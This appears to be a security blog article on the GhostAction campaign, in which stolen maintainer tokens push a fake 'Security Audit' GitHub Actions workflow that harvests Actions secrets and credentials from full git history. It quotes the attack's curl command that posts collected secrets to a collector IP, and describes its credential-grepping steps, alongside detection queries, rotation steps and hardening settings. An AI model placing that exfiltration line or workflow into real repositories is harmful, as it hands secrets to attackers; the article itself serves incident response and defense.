Skip to content
Developer tooling

GhostAction is back: how a GitHub Actions workflow steals secrets from your git history

How the GhostAction GitHub Actions workflow steals secrets from git history, how to check your repos, what to rotate, and what stops it.

K9 min read
It fits an article about stolen credentials

GhostAction, the campaign that steals CI secrets by committing a GitHub Actions workflow into other people's repositories, is back. On 8 October 2026 two compromised maintainer accounts pushed a fake "Security Audit" workflow to 345 repositories in two automated sweeps, the larger of which took 16 minutes, with uber/athenadriver among the targets (StepSecurity). By 9 October, Socket had found more than 500 accounts committing the same workflow to tens of thousands of repositories since 7 October (The Hacker News, Socket).

The new variant does not stop at your Actions secrets. It checks out the full git history and greps every commit for cloud and API keys, so a key you deleted two years ago is in scope. This article explains how the attack works, how to tell whether your repositories ran it, what to rotate, and which GitHub settings would have stopped it.

Nothing here needs a GitHub vulnerability

The attacker logs in as a real maintainer, most likely with a personal access token leaked through infostealer logs or a credential dump, and commits a workflow file to the default branch of every repository that account can write to (The Hacker News). GitHub then does exactly what it is designed to do: a push to a repository runs the workflows in it, with the repository's secrets available.

Attackerstolen maintainer PATEvery writable repodefault branchActions runnersecurity-audit.ymlActions secrets + full git history193.32.204.199plain HTTPPyPIcrates.iocommit as the victimpush triggers the runinjected + fetch-depth 0one curl POSTreuse what was stolen
The only stolen thing is the token; GitHub runs the rest as designed.

The October workflow is named "Security Audit" and lives in .github/workflows/security-audit.yml. It triggers on workflow_dispatch and on any push to any branch or tag, and checks out with fetch-depth: 0, so the runner has every branch and tag (StepSecurity). Its single step does four things:

  1. Appends the values of the repository's named Actions secrets. The attacker reads the existing workflows first to learn the names, then templates them into the file before committing. In kitao/pyxel they were CARGO_REGISTRY_TOKEN, PERSONAL_ACCESS_TOKEN, PYPI_PASSWORD and PYPI_USERNAME (Socket).
  2. Greps the working tree for 13 credential patterns: AWS key IDs, secret keys and session tokens; Anthropic, OpenAI and OpenRouter keys; GitHub and GitLab tokens; Google, Slack and SendGrid keys.
  3. Runs git log -p --all and greps the same patterns across every commit, up to 300 unique hits.
  4. Captures two lines either side of every AKIA or ASIA key ID, between AKIA_CTX_START and AKIA_CTX_END markers, so the matching secret key comes along.

Everything goes out in one request to a bare IP address, so there is no DNS lookup to catch (StepSecurity):

Shell
curl -s -m 20 -X POST --data-binary "$full" "http://193.32.204.199/?c=new" || true

|| true means the step succeeds whether or not the upload worked, so the run looks green. On uber/athenadriver the run started three seconds after the push, and the collector answered OK about four seconds later.

Deleting a key from the code does not remove it from the repository. This workflow reads the history.

The September numbers show how far a quiet wave gets

This is not the first wave. The original GhostAction, in September 2025, stole 3,325 secrets from 817 repositories (StepSecurity). Between 31 August and 30 September 2026, GitGuardian counted 772 public repositories from 373 users and organisations carrying the workflow, with 2,577 secrets targeted (GitGuardian). The secrets it was after were mostly infrastructure, not API keys:

Server and cloud credentials were the main targetsSecrets targeted by GhostAction workflows, 31 Aug to 30 Sep 2026
SSH keys and deploy server credentials446Azure credentials218Container registry (Docker Hub, GHCR)142Database credentials112AWS access keys106FTP credentials92Google Cloud and Firebase80GitHub tokens66

Source: GitGuardian, GhostAction returns (October 2026)

Server and cloud credentials were the main targets
Secrets targeted
SSH keys and deploy server credentials446
Azure credentials218
Container registry (Docker Hub, GHCR)142
Database credentials112
AWS access keys106
FTP credentials92
Google Cloud and Firebase80
GitHub tokens66

Most of those workflows never ran to completion: of 3,669 runs across 605 repositories, 336 completed and exfiltrated 26 secrets from 13 repositories. The part that should worry you is the clean-up. By 5 October only 124 of the 772 repositories, 16%, had removed the workflow from their public history (GitGuardian). A workflow that triggers on any push runs again the next time anyone pushes.

When (UTC)What happenedSource
4 Sep 2026Current collector, 193.32.204.199, first seen in honeypot logsStepSecurity
8 Oct, 13:20–13:44kitao account pushes to 27 repositoriesStepSecurity
8 Oct, 21:10–21:26henrywoo account pushes to 318 repositories, 279 of them forksStepSecurity
9 Octmy-github[.]com registered, resolving to the collector IPOpenSourceMalware
9 OctOver 500 accounts, tens of thousands of repositories since 7 OctSocket

Check whether your repositories ran it

Start with code search across your organisation. StepSecurity's queries for the GitHub web search, Code tab, match strings that only appear in this payload:

Text
org:your-org "AKIA_CTX_START""c=monami""193.32.204.199" path:.github/workflows

From a terminal, gh can look for the known file names. It uses GitHub's legacy code search engine, so results can differ from the website (GitHub CLI):

Terminal
$ gh search code "AKIA_CTX_START" --owner your-org$ gh search code "security audit" --owner your-org --filename security-audit.yml

Code search only sees default branches. The workflow runs on a push to any branch, and forks inherit it, so check runs as well. This loop lists every run of the two known workflow names in each repository you own:

find-ghostaction-runs.shShell
#!/usr/bin/env bashset -euo pipefailowner="${1:?usage: find-ghostaction-runs.sh <org-or-user>}" gh repo list "$owner" --limit 1000 --json nameWithOwner --jq '.[].nameWithOwner' |while read -r repo; do  gh run list -R "$repo" --limit 200 \    --json workflowName,event,conclusion,createdAt,url \    --jq '.[] | select(.workflowName == "Security Audit" or .workflowName == "Github Actions Security")          | "\(.createdAt) \(.conclusion) \(.event) \(.url)"' 2>/dev/null |    sed "s|^|$repo |" || truedone

Then look at the history of the workflow directory in a full clone, which covers every branch and catches the other file name, security-check.yml:

Terminal
$ git fetch --all --tags$ git log --all --date=iso --format='%h %ad %an %s' -- .github/workflows \    | grep -Ei 'security (audit|check|scan)|actions security'

The commit messages to look for are "Add security audit workflow", "Update security audit workflow", "Add Github Actions Security workflow", "Add security check workflow" and "Trigger security scan". They are committed under the real maintainer's name and are unsigned (StepSecurity).

Rotate what the history sweep could reach

The order matters. If you rotate the repository secrets but leave the stolen maintainer token valid, the attacker pushes the workflow again and collects the new values.

  1. Revoke the credential that pushed the commit. Revoke that person's personal access tokens, OAuth grants, SSH keys and sessions, and re-enrol phishing-resistant MFA (Socket).
  2. Delete the workflow from every branch and tag, not only the default branch, and check forks before enabling Actions on them.
  3. Rotate every named Actions secret in the affected repositories.
  4. Rotate every credential that has ever been committed, on any branch, using a history scanner (below) to find them.
  5. Freeze releases until the publishing tokens are rotated, and compare recent PyPI, npm, crates.io and container releases against your own builds. As of 9 October, no malicious package releases had been seen, but pyxel's PyPI and crates.io tokens were exposed (StepSecurity).
  6. Check what the stolen AWS keys did with CloudTrail (below).

A history scanner such as TruffleHog walks every commit, not just the current tree:

Terminal
$ trufflehog git file://. --only-verified

CloudTrail can list the calls made with a specific key since the start of the window:

Terminal
$ aws cloudtrail lookup-events \    --lookup-attributes AttributeKey=AccessKeyId,AttributeValue=AKIAEXAMPLEKEYID \    --start-time 2026-08-31T00:00:00Z

Look for new IAM users, new access keys and activity in regions you do not use (Socket). Finally, block 193.32.204.199 and my-github[.]com at your proxy and search egress logs for both, including from self-hosted runners (OpenSourceMalware).

The settings that would have stopped it, and the ones that would not

The attacker has write access. Any defence that trusts a collaborator's push does nothing here, and several familiar settings fall into that category.

Fork approval does not apply. GitHub's "approve workflow runs" setting covers pull requests from forks by outside contributors (GitHub Docs). A direct push by a maintainer is not a fork pull request. StepSecurity did see one repository, typecho-fans/plugins, where the runs stalled in action_required because the repository required approval; it was the only control observed blocking the campaign, and it is worth finding out which setting that was before relying on it.

A read-only GITHUB_TOKEN limits damage but does not prevent theft. On uber/athenadriver the token was scoped to contents: read, so the workflow could not push or publish. It still sent the secrets.

Per-workflow egress controls do not help against a workflow the attacker wrote. An egress allowlist added as a step in your own workflows is not in theirs. Network controls only work here if they sit outside the workflow, on self-hosted runners or at your network edge.

What does work is making a push alone insufficient to get either a workflow or a secret:

  • Block direct changes to .github/workflows/. A ruleset with the "Restrict file paths" rule prevents commits that change matching paths from being pushed, using fnmatch patterns such as .github/workflows/** (GitHub Docs). Push rulesets are documented for private and internal repositories on the Team plan; check what your plan offers.
  • Require pull requests and code-owner review for the default branch, with a CODEOWNERS entry for .github/workflows/, so a new workflow needs a second person. OpenSourceMalware recommends the same ownership rules for .github/workflows/** (OpenSourceMalware).
  • Move publishing secrets into an environment with required reviewers. Environment secrets are only available to jobs that reference the environment, and a job cannot read them until a reviewer approves it (GitHub Docs). An attacker can name the environment in their own workflow, but the run then waits for a human.
  • Stop storing long-lived publishing tokens at all. PyPI's trusted publishing swaps an OIDC identity token for a credential valid for 15 minutes (PyPI). There is no PYPI_PASSWORD for a workflow to dump:
.github/workflows/release.ymlYAML
name: releaseon:  push:    tags: ["v*"] permissions: {} jobs:  publish:    runs-on: ubuntu-latest    environment: pypi    permissions:      contents: read      id-token: write    steps:      - uses: actions/checkout@v4      - run: python -m pip install build && python -m build      - uses: pypa/gh-action-pypi-publish@release/v1

What to do this week

  • Search your organisation for AKIA_CTX_START, c=monami and the three workflow file names.
  • List workflow runs named "Security Audit" or "Github Actions Security" in every repository, forks included.
  • If you find one: revoke the pushing account's tokens first, then delete the workflow from every branch, then rotate.
  • Rotate every credential that appears anywhere in git history, not only in the current tree.
  • Block 193.32.204.199 and my-github[.]com, and search egress logs since early September.
  • Protect .github/workflows/** with a ruleset or required code-owner review.
  • Move publishing credentials into reviewed environments, or replace them with trusted publishing.
  • Expire and scope personal access tokens; the whole campaign runs on ones that leaked.

The one thing to remember: in GitHub Actions, write access to a repository is read access to its secrets. Protect the workflow directory as carefully as you protect the secrets themselves.

Found this useful? Share itXLinkedIn